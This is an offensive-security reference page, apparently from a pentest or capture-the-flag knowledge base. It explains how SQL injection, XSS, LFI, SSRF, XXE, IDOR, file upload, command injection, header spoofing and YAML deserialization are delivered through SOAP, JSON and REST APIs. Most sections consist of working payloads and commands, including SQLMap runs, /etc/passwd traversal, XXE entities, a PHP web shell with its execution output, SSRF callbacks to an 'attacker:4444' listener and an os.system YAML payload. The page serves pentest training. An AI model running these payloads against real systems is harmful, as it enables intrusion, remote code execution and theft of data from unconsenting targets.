API Vuln Context
Every classical web vulnerability can appear through an API surface - the substance is the same, the delivery channel and encoding are different. This page captures the API-specific deltas; the canonical attack mechanics live in their dedicated clusters.
# Same vuln class, different deliverySQLi via SOAP <username>'; UNION SELECT * FROM users--</username>XSS via REST /api/echo/<script>... after URL-encoding bypasses naive filtersLFI via API ?filename=../../../etc/passwd (URL-encoded slashes)SSRF via API ?id=<base64>http://attacker:4444</base64>XXE via JSON→XML content-type pivot, or any XML-body APIIDOR via REST /api/users/<id> (textbook, see IDOR cluster)Upload via POST /api/upload/ with .php Content-Type: application/x-phpCmd inj via API parameter reaching system()/shell_exec()Success indicator depends on the underlying vuln class - see the linked cluster for each.
Why APIs change the picture
Section titled “Why APIs change the picture”The classical web-app vulnerability literature assumes a browser-driven HTML form submitting URL-encoded data. APIs change three things about that picture:
| Dimension | Classical web app | API |
|---|---|---|
| Body format | application/x-www-form-urlencoded | JSON, XML, multipart, binary |
| Discovery | Crawl HTML, find forms | WSDL, OpenAPI, GraphQL introspection, JS bundle reading |
| Parameter location | URL query or form body | Any of: URL path segment, URL query, JSON body field, XML element, HTTP header, custom binary frame |
| Encoding | URL-encoded | Whatever the format dictates - often double-encoded or base64’d |
| Reflection | Page-rendered HTML | Usually JSON response (no HTML reflection - XSS rarer but not zero) |
The vulnerability mechanics don’t change. The delivery has to adapt to the format. This page covers the adaptation.
SQL Injection
Section titled “SQL Injection”The substance: untrusted input concatenated into a SQL query. The API delta: input arrives via a SOAP parameter, JSON field, GraphQL argument, or REST path/query - not a form field.
Through SOAP
Section titled “Through SOAP”The classic. The SOAP envelope’s parameter elements behave exactly like form fields:
<soap:Body> <LoginRequest xmlns="http://tempuri.org/"> <username>' UNION SELECT username, password FROM users-- -</username> <password>anything</password> </LoginRequest></soap:Body>Same payload class as form-based injection. SQLMap supports SOAP:
$ sqlmap -u http://target:3002/wsdl \ --data='<soap:Envelope>...<username>*</username>...</soap:Envelope>' \ --dbms sqlite --level 5 --risk 3The * marks the injection point. SQLMap recognizes SOAP body structure and tests each marked parameter.
Through JSON body
Section titled “Through JSON body”POST /api/search HTTP/1.1Content-Type: application/json
{"query": "test' OR '1'='1", "limit": 10}SQLMap handles JSON:
$ sqlmap -u http://target/api/search \ --data='{"query":"*", "limit":10}' \ --headers='Content-Type: application/json'Through REST URL path segment
Section titled “Through REST URL path segment”http://target/api/users/1' UNION SELECT password FROM users-- -Trickier because URL-special characters need encoding:
http://target/api/users/1%27%20UNION%20SELECT%20password%20FROM%20users-- -The shell context for crafting these is essentially:
$ urlencode "1' UNION SELECT password FROM users-- -"1%27%20UNION%20SELECT%20password%20FROM%20users--%20-See the SQLi cluster for the mechanics. See SQLMap request setup for non-standard request shapes (JSON body, SOAP envelope, custom headers).
The substance: untrusted input rendered as HTML in a context that executes JavaScript. The API delta: API responses are usually JSON - no HTML rendering - but there are exceptions.
When API responses do render HTML
Section titled “When API responses do render HTML”Some APIs return HTML error pages, status pages, or auto-generated documentation that reflects request parameters:
GET /api/download/<script>alert(1)</script> HTTP/1.1<p>Sorry, file "<script>alert(1)</script>" not found</p>The naive payload often gets escaped. Try URL-encoded variants:
http://target/api/download/%3Cscript%3Ealert(1)%3C%2Fscript%3ESome servers decode once during routing, fail to escape on output → URL-encoded form bypasses naive HTML-encoding filters. See XSS to session.
When the API renders error pages with reflection
Section titled “When the API renders error pages with reflection”The “value not found” / “invalid parameter” error pattern reflects input:
GET /api/lookup?id=<svg onload=alert(1)><error>ID '<svg onload=alert(1)>' is not valid</error>If the error response is Content-Type: text/html, the payload fires in any browser that fetches it (XS-Search / XS-Leaks style attacks). If the response is Content-Type: application/json, the payload doesn’t fire automatically - but a victim’s browser-side code that JSON.parses and renders the error message may execute it.
XSS via API into the rendering frontend
Section titled “XSS via API into the rendering frontend”The harder-to-spot variant: the API stores attacker-controlled data, the frontend SPA later fetches it and renders. The XSS fires when the frontend renders the API response, even though the API itself is “just JSON”:
POST /api/profile HTTP/1.1{"display_name": "<img src=x onerror=alert(1)>"}
# Later, when admin views the user list, the frontend does:# document.getElementById('name').innerHTML = data.display_name ← XSS hereThis is the canonical “stored XSS through an API” pattern. The vulnerability sits at the frontend-renders-API-data join, not in either component alone.
Local File Inclusion
Section titled “Local File Inclusion”The substance: untrusted input reaches a file-open operation on the server. The API delta: usually a filename/file/download parameter in the URL or body.
Through API URL parameter
Section titled “Through API URL parameter”GET /api/download/..%2f..%2f..%2fetc%2fpasswd HTTP/1.1Or:
GET /api/download?file=../../../etc/passwd HTTP/1.1Same primitive as classical LFI. The URL-encoded slashes (%2f) often pass through API routing that would reject literal ../ due to path normalization.
$ curl 'http://target/api/download/..%2f..%2f..%2fetc%2fpasswd'root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin...See LFI cluster for the payload catalog (PHP wrappers, log poisoning, etc.).
Through JSON body
Section titled “Through JSON body”POST /api/get-file HTTP/1.1Content-Type: application/json
{"path": "/etc/passwd"}Often less defended than URL parameters because input validation typically focuses on URL-level filtering.
Server-Side Request Forgery
Section titled “Server-Side Request Forgery”The substance: the server fetches a URL the attacker chooses. The API delta: API parameters frequently accept URLs by design (webhook callbacks, avatar URL fetchers, link previews) and the encoding may be non-obvious.
Direct URL parameter
Section titled “Direct URL parameter”GET /api/userinfo?id=http://attacker:4444/ HTTP/1.1Often rejected with “id parameter is invalid” - the API expects a structured ID, not a URL. The encoding trick:
$ echo "http://attacker:4444/" | base64aHR0cDovL2F0dGFja2VyOjQ0NDQv
$ curl 'http://target/api/userinfo?id=aHR0cDovL2F0dGFja2VyOjQ0NDQv'The API may decode id as base64 internally, treat the decoded value as a URL, fetch it. Listener receives the callback.
Different encodings to try
Section titled “Different encodings to try”When the obvious URL pattern is rejected:
| Encoding | Example |
|---|---|
| Plain | http://attacker:4444/ |
| URL-encoded | http%3A%2F%2Fattacker%3A4444%2F |
| Double URL-encoded | http%253A%252F%252Fattacker%253A4444%252F |
| Base64 | aHR0cDovL2F0dGFja2VyOjQ0NDQv |
| Hex | 687474703a2f2f61747461636b65723a343434342f |
| JSON-string-escaped | "http:\/\/attacker:4444\/" |
| Object reference | {"url": "http://attacker:4444/"} instead of bare string |
For each encoding, watch your listener for callbacks. The encoding that succeeds tells you something about the API’s internal flow - often base64 means “this parameter is normally a token but the back-end blindly trusts decoded content as a URL.”
See SSRF cluster for the full attack catalog (internal scanning, cloud metadata, etc.).
XXE Injection
Section titled “XXE Injection”The substance: an XML parser resolves external entities the attacker declares. The API delta: any XML-receiving API is a target, plus the Content-Type pivot for JSON APIs.
Direct on XML API
Section titled “Direct on XML API”POST /api/login/ HTTP/1.1Content-Type: text/plain;charset=UTF-8
<?xml version="1.0"?><!DOCTYPE pwn [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root> <email>&xxe;</email> <password>any</password></root>The API parses the XML body, resolves the entity, includes /etc/passwd content in the request processing. See XXE cluster.
JSON → XML content-type pivot
Section titled “JSON → XML content-type pivot”A JSON API may also accept XML on Content-Type: application/xml:
POST /api/users HTTP/1.1Content-Type: application/xml
<?xml version="1.0"?><!DOCTYPE pwn [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><user><name>&xxe;</name></user>The JSON-converter library on the back-end (Jackson, Symfony Serializer, ASP.NET ModelBinder) may transparently dispatch to an XML parser when Content-Type is XML. The XXE fires before any JSON-specific validation runs.
See XXE Identifying for the full Content-Type pivot discussion.
Insecure Direct Object Reference
Section titled “Insecure Direct Object Reference”The substance: the server trusts a client-supplied identifier without checking authorization. The API delta: REST URLs make IDOR more visible (/api/users/74) and more common (every CRUD endpoint is an IDOR candidate by default).
REST APIs are the canonical IDOR surface. Every /api/<resource>/<id> route deserves substitution testing:
$ curl -b 'session=mine' http://target/api/users/74 # baseline (own)$ curl -b 'session=mine' http://target/api/users/75 # foreign$ for i in $(seq 1 1000); do curl -b 'session=mine' "http://target/api/users/$i" done > all-users.jsonSee IDOR Identifying and IDOR Mass enumeration for the full catalog.
Arbitrary File Upload
Section titled “Arbitrary File Upload”The substance: the server accepts an attacker-controlled file without validating its type/content correctly. The API delta: API uploads bypass HTML form constraints (no accept= attribute, no JavaScript-side validation), so the Content-Type sent is whatever the attacker chooses.
POST /api/upload/ HTTP/1.1Content-Type: multipart/form-data; boundary=---xxx
-----xxxContent-Disposition: form-data; name="file"; filename="backdoor.php"Content-Type: application/x-php
<?php system($_REQUEST['cmd']); ?>-----xxx--The Content-Type: application/x-php is set by the attacker - no browser would default to that. Servers that trust client-supplied Content-Type fail open immediately. The response usually returns the saved file’s URL:
{"success": true, "url": "http://target/uploads/backdoor.php"}Then:
$ curl 'http://target/uploads/backdoor.php?cmd=id'uid=33(www-data) gid=33(www-data) groups=33(www-data)See Uploads cluster for the complete bypass catalog.
Command Injection
Section titled “Command Injection”The substance: untrusted input flows into a shell command. The API delta: API parameters often reach system()/shell_exec()/exec() calls in router-style code that uses call_user_func_array or equivalent dynamic dispatch.
The HTB-style pattern:
<?php// Vulnerable routerif ($_SERVER['REQUEST_METHOD'] === 'GET') { $parts = explode('/', $_SERVER['PATH_INFO']); call_user_func_array($parts[1], array_slice($parts, 2));}?>Intended use: GET /api/ping/8.8.8.8/3 calls ping('8.8.8.8', '3').
Abuse: GET /api/system/ls calls system('ls'). The first path segment is treated as the function name; subsequent segments are arguments.
$ curl http://target/api/system/iduid=0(root) gid=0(root) groups=0(root)
$ curl 'http://target/api/system/cat%20%2Fetc%2Fpasswd'root:x:0:0:root:/root:/bin/bash...The vulnerability is the dynamic-dispatch router (call_user_func_array with attacker-controlled function name), not the ping function’s input validation. The route never reaches the ping function. See Command injection cluster.
Authentication weaknesses
Section titled “Authentication weaknesses”API authentication tends to use bearer tokens, API keys, or HMAC signatures rather than session cookies. Each has its own attack patterns:
| Mechanism | API-specific weaknesses |
|---|---|
| Bearer tokens | Leaked tokens in logs / Referer headers / GitHub commits; token without expiry; JWT signing weaknesses |
| API keys | Hardcoded in mobile apps / JS bundles; checked-in to public repos; not bound to IP / origin |
| HMAC signatures | Replay attacks when nonce isn’t enforced; signature-bypass tricks (sending without signature on endpoints that don’t validate); weak hash algorithms (HMAC-MD5) |
| OAuth flows | redirect_uri validation gaps; PKCE bypass; client_secret in frontend code |
| mTLS | Server doesn’t validate client cert subject; cert pinning bypass in mobile |
For JWT specifically, see JWT attacks. For session-style attacks adapted to API context, see Sessions cluster.
Rate limiting / authentication header tricks
Section titled “Rate limiting / authentication header tricks”Many APIs apply rate limiting by IP or by API key. Bypass paths:
Proxy headers
Section titled “Proxy headers”When the API server respects X-Forwarded-For or similar for rate-limit / authentication:
GET /api/admin HTTP/1.1X-Forwarded-For: 127.0.0.1X-Real-IP: 127.0.0.1X-Originating-IP: 127.0.0.1Client-IP: 127.0.0.1True-Client-IP: 127.0.0.1Forwarded: for=127.0.0.1Internal-only endpoints sometimes whitelist 127.0.0.1 and any of these headers, set by an attacker, satisfies the whitelist.
<?php// Vulnerable whitelist check$whitelist = array("127.0.0.1", "1.3.3.7");if (!in_array($_SERVER['HTTP_X_FORWARDED_FOR'], $whitelist)) { header("HTTP/1.1 401 Unauthorized"); exit;}print("Hello Developer team! ...");?>X-Forwarded-For: 127.0.0.1 bypasses the check completely.
Token rotation / IP rotation
Section titled “Token rotation / IP rotation”For rate-limited endpoints where one token has a per-hour budget:
# Rotate through multiple test accountsfor token in $TOKEN1 $TOKEN2 $TOKEN3; do curl -H "Authorization: Bearer $token" http://target/api/...doneOr rotate IPs via proxy chains (Tor, residential proxies, etc.) - beyond the scope of this page.
Format-confusion attacks
Section titled “Format-confusion attacks”A relatively novel API-specific attack class: the API accepts multiple formats (JSON, XML, MessagePack, YAML) and parsing differs.
POST /api/login HTTP/1.1Content-Type: application/yaml
username: adminpassword: !!python/object/apply:os.system ["id"]If the back-end uses Python’s yaml.load() (deprecated) instead of yaml.safe_load(), the !!python/object/apply: directive executes os.system("id") at parse time - RCE before any application logic runs.
The same pattern with different formats:
| Format | Vulnerable parser |
|---|---|
| YAML | Python yaml.load, Ruby YAML.load (older) |
| Pickle | Python pickle.loads() on untrusted data - always RCE |
| Java serialized | ObjectInputStream.readObject() on untrusted bytes - classic ysoserial chain |
| .NET BinaryFormatter | Equivalent .NET vuln |
| PHP serialize | unserialize() with magic methods (__wakeup, __destruct) |
| MessagePack | Generally safe but custom ext-types sometimes deserializable |
When you find an API that accepts multiple formats via Content-Type, try each - the lesser-traveled format is often the one with the deserialization bug.
This bridges into deserialization attacks, which are large enough for their own cluster (a candidate for a future round).
Quick reference
Section titled “Quick reference”| Vuln class | API delivery pattern | Canonical cluster |
|---|---|---|
| SQL injection | Body element, JSON field, URL path segment | SQLi |
| XSS | API error reflection, stored-then-rendered, URL-encoded payload | XSS to session |
| LFI | URL-encoded ../, filename= JSON field | LFI |
| SSRF | URL parameter, base64-encoded URL, JSON-shaped URL | SSRF |
| XXE | XML-body API, JSON→XML Content-Type pivot | XXE |
| IDOR | REST /api/<resource>/<id> substitution | IDOR |
| File upload | POST with attacker-chosen Content-Type | Uploads |
| Command injection | API parameter into shell, dynamic-dispatch router | Command injection |
| Auth bypass via headers | X-Forwarded-For: 127.0.0.1, etc. | (this page above) |
| Deserialization | YAML/Pickle/Java/PHP/messagepack via Content-Type | future cluster |
| ReDoS | Long crafted strings against vulnerable regex | ReDoS |
| WordPress XML-RPC abuse | xmlrpc.php brute / pingback / multicall | WP XML-RPC |
| SOAPAction spoofing | Body operation ≠ header SOAPAction | SOAPAction spoofing |
For the standalone API-specific topic (ReDoS), see ReDoS. For the capstone chain (SOAPAction spoofing + SQL injection), see Skill assessment chain.